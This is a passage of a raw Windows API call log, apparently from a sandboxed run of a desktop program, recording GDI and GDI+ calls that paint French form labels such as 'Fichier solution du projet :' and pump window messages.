OffsetViewportOrgEx (in: hdc=0x36010733, x=0, y=0, lppt=0x24ee838 | out: lppt=0x24ee838) returned 1 [0223.567] GetNearestColor (hdc=0x36010733, color=0xc8c8c8) returned 0xc8c8c8 [0223.567] CreateSolidBrush (color=0xc8c8c8) returned 0x1d1006a2 [0223.567] FillRect (hDC=0x36010733, lprc=0x2be608, hbr=0x1d1006a2) returned 1 [0223.567] DeleteObject (ho=0x1d1006a2) returned 1 [0223.567] RestoreDC (hdc=0x36010733, nSavedDC=-1) returned 1 [0223.567] GdipReleaseDC (graphics=0x4ae5320, hdc=0x36010733) returned 0x0 [0223.567] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfdb30dbd) returned 0x0 [0223.567] GdipDeleteRegion (region=0x4ae5600) returned 0x0 [0223.567] GetWindowTextLengthW (hWnd=0x10192) returned 23 [0223.567] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0223.567] GetSystemMetrics (nIndex=42) returned 0 [0223.567] GetWindowTextW (in: hWnd=0x10192, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0223.568] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0223.568] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x1) returned 0x1b00017 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x2) returned 0x1900010 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x7) returned 0x200506ba [0223.568] GetCurrentObject (hdc=0x36010733, type=0x6) returned 0x18a002e [0223.568] SaveDC (hdc=0x36010733) returned 1 [0223.568] GetNearestColor (hdc=0x36010733, color=0x0) returned 0x0 [0223.568] RestoreDC (hdc=0x36010733, nSavedDC=-1) returned 1 [0223.568] GdipReleaseDC (graphics=0x4ae5320, hdc=0x36010733) returned 0x0 [0223.568] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0223.568] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0223.568] DrawTextExW (in: hdc=0xb0101e5, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x2be530, format=0x102404, lpdtp=0x24eeb18 | out: lpchText="Repertoire Projet 1 : ", lprc=0x2be530) returned 13 [0223.568] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0223.568] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x1) returned 0x1b00017 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x2) returned 0x1900010 [0223.568] GetCurrentObject (hdc=0x36010733, type=0x7) returned 0x200506ba [0223.568] GetCurrentObject (hdc=0x36010733, type=0x6) returned 0x18a002e [0223.568] SaveDC (hdc=0x36010733) returned 1 [0223.568] GetTextAlign (hdc=0x36010733) returned 0x0 [0223.568] GetTextColor (hdc=0x36010733) returned 0x0 [0223.569] GetCurrentObject (hdc=0x36010733, type=0x6) returned 0x18a002e [0223.569] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0223.569] SelectObject (hdc=0x36010733, h=0x90a01e9) returned 0x18a002e [0223.569] GetBkMode (hdc=0x36010733) returned 2 [0223.569] SetBkMode (hdc=0x36010733, mode=1) returned 2 [0223.569] DrawTextExW (in: hdc=0x36010733, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x2be38c, format=0x100404, lpdtp=0x24eed30 | out: lpchText="Repertoire Projet 1 : ", lprc=0x2be38c) returned 13 [0223.569] DrawTextExW (in: hdc=0x36010733, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x2be544, format=0x100004, lpdtp=0x24eed30 | out: lpchText="Repertoire Projet 1 : ", lprc=0x2be544) returned 13 [0223.569] RestoreDC (hdc=0x36010733, nSavedDC=-1) returned 1 [0223.569] GdipReleaseDC (graphics=0x4ae5320, hdc=0x36010733) returned 0x0 [0223.569] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0223.569] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x36010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.569] GdipReleaseDC (graphics=0x4ae5320, hdc=0x36010733) returned 0x0 [0223.569] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.569] SelectObject (hdc=0x36010733, h=0x185000f) returned 0x200506ba [0223.569] DeleteDC (hdc=0x36010733) returned 1 [0223.569] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0223.569] EndPaint (hWnd=0x10192, lpPaint=0x2be704) returned 1 [0223.569] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.569] IsWindowUnicode (hWnd=0x10196) returned 1 [0223.569] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.569] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.569] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.570] BeginPaint (in: hWnd=0x10196, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x60106b7 [0223.570] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.570] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.570] CreateCompatibleDC (hdc=0x60106b7) returned 0x39010733 [0223.570] SelectObject (hdc=0x39010733, h=0x200506ba) returned 0x185000f [0223.570] GdipCreateFromHDC (hdc=0x39010733, graphics=0x2be720) returned 0x0 [0223.571] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.571] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0223.571] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0223.571] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0223.571] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0223.571] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.571] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568ba8) returned 0x0 [0223.571] LocalFree (hMem=0x568ba8) returned 0x0 [0223.571] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.571] GdipCreateRegion (region=0x2be768) returned 0x0 [0223.571] GdipGetClip (graphics=0x4ae5320, region=0x4ae5600) returned 0x0 [0223.571] GdipIsInfiniteRegion (region=0x4ae5600, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0223.571] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0223.571] GetWindowTextLengthW (hWnd=0x10196) returned 22 [0223.571] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0223.571] GetSystemMetrics (nIndex=42) returned 0 [0223.571] GetWindowTextW (in: hWnd=0x10196, lpString=0x2be68c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0223.571] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0223.571] GetClientRect (in: hWnd=0x10196, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0223.571] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0223.571] GdipGetClip (graphics=0x4ae5320, region=0x4ae58f0) returned 0x0 [0223.571] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0223.571] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0223.571] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0223.571] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.571] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.571] LocalFree (hMem=0x568ba8) returned 0x0 [0223.571] GdipCombineRegionRegion (region=0x4ae58f0, region2=0x4ae5600, combineMode=0x1) returned 0x0 [0223.572] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.572] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.572] LocalFree (hMem=0x568ba8) returned 0x0 [0223.572] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.572] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0223.572] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0223.572] GdipGetRegionHRgn (region=0x4ae58f0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0223.572] GdipDeleteRegion (region=0x4ae58f0) returned 0x0 [0223.572] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0223.572] GetCurrentObject (hdc=0x39010733, type=0x1) returned 0x1b00017 [0223.572] GetCurrentObject (hdc=0x39010733, type=0x2) returned 0x1900010 [0223.572] GetCurrentObject (hdc=0x39010733, type=0x7) returned 0x200506ba [0223.572] GetCurrentObject (hdc=0x39010733, type=0x6) returned 0x18a002e [0223.572] SaveDC (hdc=0x39010733) returned 1 [0223.572] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x22040789 [0223.572] GetClipRgn (hdc=0x39010733, hrgn=0x22040789) returned 0 [0223.572] SelectClipRgn (hdc=0x39010733, hrgn=0x230401eb) returned 2 [0223.572] DeleteObject (ho=0x22040789) returned 1 [0223.572] DeleteObject (ho=0x230401eb) returned 1 [0223.572] OffsetViewportOrgEx (in: hdc=0x39010733, x=0, y=0, lppt=0x24ef1ac | out: lppt=0x24ef1ac) returned 1 [0223.572] GetNearestColor (hdc=0x39010733, color=0xc8c8c8) returned 0xc8c8c8 [0223.572] CreateSolidBrush (color=0xc8c8c8) returned 0x1e1006a2 [0223.572] FillRect (hDC=0x39010733, lprc=0x2be608, hbr=0x1e1006a2) returned 1 [0223.573] DeleteObject (ho=0x1e1006a2) returned 1 [0223.573] RestoreDC (hdc=0x39010733, nSavedDC=-1) returned 1 [0223.573] GdipReleaseDC (graphics=0x4ae5320, hdc=0x39010733) returned 0x0 [0223.573] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfdb10dbd) returned 0x0 [0223.573] GdipDeleteRegion (region=0x4ae5600) returned 0x0 [0223.573] GetWindowTextLengthW (hWnd=0x10196) returned 22 [0223.573] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0223.573] GetSystemMetrics (nIndex=42) returned 0 [0223.573] GetWindowTextW (in: hWnd=0x10196, lpString=0x2be68c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0223.573] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0223.573] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0223.573] GetCurrentObject (hdc=0x39010733, type=0x1) returned 0x1b00017 [0223.573] GetCurrentObject (hdc=0x39010733, type=0x2) returned 0x1900010 [0223.573] GetCurrentObject (hdc=0x39010733, type=0x7) returned 0x200506ba [0223.573] GetCurrentObject (hdc=0x39010733, type=0x6) returned 0x18a002e [0223.573] SaveDC (hdc=0x39010733) returned 1 [0223.573] GetNearestColor (hdc=0x39010733, color=0x0) returned 0x0 [0223.573] RestoreDC (hdc=0x39010733, nSavedDC=-1) returned 1 [0223.573] GdipReleaseDC (graphics=0x4ae5320, hdc=0x39010733) returned 0x0 [0223.574] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0223.574] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0223.574] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x2be530, format=0x102404, lpdtp=0x24ef48c | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x2be530) returned 13 [0223.574] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0223.574] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0223.574] GetCurrentObject (hdc=0x39010733, type=0x1) returned 0x1b00017 [0223.574] GetCurrentObject (hdc=0x39010733, type=0x2) returned 0x1900010 [0223.574] GetCurrentObject (hdc=0x39010733, type=0x7) returned 0x200506ba [0223.574] GetCurrentObject (hdc=0x39010733, type=0x6) returned 0x18a002e [0223.574] SaveDC (hdc=0x39010733) returned 1 [0223.574] GetTextAlign (hdc=0x39010733) returned 0x0 [0223.574] GetTextColor (hdc=0x39010733) returned 0x0 [0223.574] GetCurrentObject (hdc=0x39010733, type=0x6) returned 0x18a002e [0223.575] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0223.575] SelectObject (hdc=0x39010733, h=0x90a01e9) returned 0x18a002e [0223.575] GetBkMode (hdc=0x39010733) returned 2 [0223.575] SetBkMode (hdc=0x39010733, mode=1) returned 2 [0223.575] DrawTextExW (in: hdc=0x39010733, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x2be38c, format=0x100404, lpdtp=0x24ef6a4 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x2be38c) returned 13 [0223.575] DrawTextExW (in: hdc=0x39010733, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x2be544, format=0x100004, lpdtp=0x24ef6a4 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x2be544) returned 13 [0223.575] RestoreDC (hdc=0x39010733, nSavedDC=-1) returned 1 [0223.575] GdipReleaseDC (graphics=0x4ae5320, hdc=0x39010733) returned 0x0 [0223.575] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0223.575] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x39010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.575] GdipReleaseDC (graphics=0x4ae5320, hdc=0x39010733) returned 0x0 [0223.575] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.575] SelectObject (hdc=0x39010733, h=0x185000f) returned 0x200506ba [0223.575] DeleteDC (hdc=0x39010733) returned 1 [0223.575] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0223.575] EndPaint (hWnd=0x10196, lpPaint=0x2be704) returned 1 [0223.576] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.576] IsWindowUnicode (hWnd=0x1019a) returned 1 [0223.576] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.576] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.576] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.576] BeginPaint (in: hWnd=0x1019a, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x100107ec [0223.576] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.577] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.577] CreateCompatibleDC (hdc=0x100107ec) returned 0x3c010733 [0223.577] SelectObject (hdc=0x3c010733, h=0x200506ba) returned 0x185000f [0223.577] GdipCreateFromHDC (hdc=0x3c010733, graphics=0x2be720) returned 0x0 [0223.577] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.577] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0223.577] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0223.577] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0223.577] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0223.577] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.577] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568ba8) returned 0x0 [0223.577] LocalFree (hMem=0x568ba8) returned 0x0 [0223.577] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.577] GdipCreateRegion (region=0x2be768) returned 0x0 [0223.577] GdipGetClip (graphics=0x4ae5320, region=0x4ae5600) returned 0x0 [0223.577] GdipIsInfiniteRegion (region=0x4ae5600, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0223.577] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0223.577] GetWindowTextLengthW (hWnd=0x1019a) returned 28 [0223.577] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0223.577] GetSystemMetrics (nIndex=42) returned 0 [0223.577] GetWindowTextW (in: hWnd=0x1019a, lpString=0x2be680, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0223.577] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xd, wParam=0x1d, lParam=0x2be680) returned 0x1c [0223.578] GetClientRect (in: hWnd=0x1019a, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0223.578] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0223.578] GdipGetClip (graphics=0x4ae5320, region=0x4ae58f0) returned 0x0 [0223.578] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0223.578] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0223.578] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0223.578] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.578] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.578] LocalFree (hMem=0x568ba8) returned 0x0 [0223.578] GdipCombineRegionRegion (region=0x4ae58f0, region2=0x4ae5600, combineMode=0x1) returned 0x0 [0223.578] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.578] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.578] LocalFree (hMem=0x568ba8) returned 0x0 [0223.578] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.578] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0223.578] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0223.578] GdipGetRegionHRgn (region=0x4ae58f0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0223.578] GdipDeleteRegion (region=0x4ae58f0) returned 0x0 [0223.578] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0223.578] GetCurrentObject (hdc=0x3c010733, type=0x1) returned 0x1b00017 [0223.578] GetCurrentObject (hdc=0x3c010733, type=0x2) returned 0x1900010 [0223.578] GetCurrentObject (hdc=0x3c010733, type=0x7) returned 0x200506ba [0223.578] GetCurrentObject (hdc=0x3c010733, type=0x6) returned 0x18a002e [0223.578] SaveDC (hdc=0x3c010733) returned 1 [0223.579] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x240401eb [0223.579] GetClipRgn (hdc=0x3c010733, hrgn=0x240401eb) returned 0 [0223.579] SelectClipRgn (hdc=0x3c010733, hrgn=0x26040789) returned 2 [0223.579] DeleteObject (ho=0x240401eb) returned 1 [0223.579] DeleteObject (ho=0x26040789) returned 1 [0223.579] OffsetViewportOrgEx (in: hdc=0x3c010733, x=0, y=0, lppt=0x24efb44 | out: lppt=0x24efb44) returned 1 [0223.579] GetNearestColor (hdc=0x3c010733, color=0xc8c8c8) returned 0xc8c8c8 [0223.579] CreateSolidBrush (color=0xc8c8c8) returned 0x1f1006a2 [0223.579] FillRect (hDC=0x3c010733, lprc=0x2be608, hbr=0x1f1006a2) returned 1 [0223.579] DeleteObject (ho=0x1f1006a2) returned 1 [0223.579] RestoreDC (hdc=0x3c010733, nSavedDC=-1) returned 1 [0223.579] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010733) returned 0x0 [0223.579] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfdaf0dbd) returned 0x0 [0223.579] GdipDeleteRegion (region=0x4ae5600) returned 0x0 [0223.579] GetWindowTextLengthW (hWnd=0x1019a) returned 28 [0223.579] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0223.579] GetSystemMetrics (nIndex=42) returned 0 [0223.579] GetWindowTextW (in: hWnd=0x1019a, lpString=0x2be680, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0223.579] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xd, wParam=0x1d, lParam=0x2be680) returned 0x1c [0223.579] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0223.579] GetCurrentObject (hdc=0x3c010733, type=0x1) returned 0x1b00017 [0223.579] GetCurrentObject (hdc=0x3c010733, type=0x2) returned 0x1900010 [0223.579] GetCurrentObject (hdc=0x3c010733, type=0x7) returned 0x200506ba [0223.580] GetCurrentObject (hdc=0x3c010733, type=0x6) returned 0x18a002e [0223.580] SaveDC (hdc=0x3c010733) returned 1 [0223.580] GetNearestColor (hdc=0x3c010733, color=0x0) returned 0x0 [0223.580] RestoreDC (hdc=0x3c010733, nSavedDC=-1) returned 1 [0223.580] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010733) returned 0x0 [0223.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0223.580] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0223.580] DrawTextExW (in: hdc=0xb0101e5, lpchText="Fichier solution du projet :", cchText=28, lprc=0x2be530, format=0x102404, lpdtp=0x24efe48 | out: lpchText="Fichier solution du projet :", lprc=0x2be530) returned 13 [0223.580] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0223.580] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0223.580] GetCurrentObject (hdc=0x3c010733, type=0x1) returned 0x1b00017 [0223.580] GetCurrentObject (hdc=0x3c010733, type=0x2) returned 0x1900010 [0223.580] GetCurrentObject (hdc=0x3c010733, type=0x7) returned 0x200506ba [0223.580] GetCurrentObject (hdc=0x3c010733, type=0x6) returned 0x18a002e [0223.580] SaveDC (hdc=0x3c010733) returned 1 [0223.581] GetTextAlign (hdc=0x3c010733) returned 0x0 [0223.581] GetTextColor (hdc=0x3c010733) returned 0x0 [0223.581] GetCurrentObject (hdc=0x3c010733, type=0x6) returned 0x18a002e [0223.581] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0223.581] SelectObject (hdc=0x3c010733, h=0x90a01e9) returned 0x18a002e [0223.581] GetBkMode (hdc=0x3c010733) returned 2 [0223.581] SetBkMode (hdc=0x3c010733, mode=1) returned 2 [0223.581] DrawTextExW (in: hdc=0x3c010733, lpchText="Fichier solution du projet :", cchText=28, lprc=0x2be38c, format=0x100404, lpdtp=0x24f0060 | out: lpchText="Fichier solution du projet :", lprc=0x2be38c) returned 13 [0223.581] DrawTextExW (in: hdc=0x3c010733, lpchText="Fichier solution du projet :", cchText=28, lprc=0x2be544, format=0x100004, lpdtp=0x24f0060 | out: lpchText="Fichier solution du projet :", lprc=0x2be544) returned 13 [0223.581] RestoreDC (hdc=0x3c010733, nSavedDC=-1) returned 1 [0223.581] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010733) returned 0x0 [0223.581] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0223.582] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x3c010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.582] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3c010733) returned 0x0 [0223.582] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.582] SelectObject (hdc=0x3c010733, h=0x185000f) returned 0x200506ba [0223.582] DeleteDC (hdc=0x3c010733) returned 1 [0223.582] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0223.582] EndPaint (hWnd=0x1019a, lpPaint=0x2be704) returned 1 [0223.582] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.582] IsWindowUnicode (hWnd=0x1019c) returned 1 [0223.582] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.582] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.582] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.582] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0223.582] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.583] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x14, wParam=0x60106b7, lParam=0x0) returned 0x1 [0223.583] GetStockObject (i=5) returned 0x1900015 [0223.583] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.583] CreateCompatibleDC (hdc=0x60106b7) returned 0x3f010733 [0223.583] DeleteObject (ho=0x200506ba) returned 1 [0223.583] GetObjectType (h=0x60106b7) returned 0x3 [0223.583] CreateCompatibleBitmap (hdc=0x60106b7, cx=1, cy=1) returned 0x2a0506c8 [0223.583] GetDIBits (in: hdc=0x60106b7, hbm=0x2a0506c8, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x2be1ec, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1ec) returned 1 [0223.583] GetDIBits (in: hdc=0x60106b7, hbm=0x2a0506c8, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x2be1ec, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1ec) returned 1 [0223.583] DeleteObject (ho=0x2a0506c8) returned 1 [0223.583] CreateDIBSection (in: hdc=0x60106b7, lpbmi=0x2be23c, usage=0x0, ppvBits=0x2be730, hSection=0x0, offset=0x0 | out: ppvBits=0x2be730) returned 0x210506ba [0223.583] SelectObject (hdc=0x3f010733, h=0x210506ba) returned 0x185000f [0223.583] GdipCreateFromHDC (hdc=0x3f010733, graphics=0x2be714) returned 0x0 [0223.584] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.584] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0223.584] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0223.584] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0223.584] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0223.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.584] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568ba8) returned 0x0 [0223.584] LocalFree (hMem=0x568ba8) returned 0x0 [0223.584] 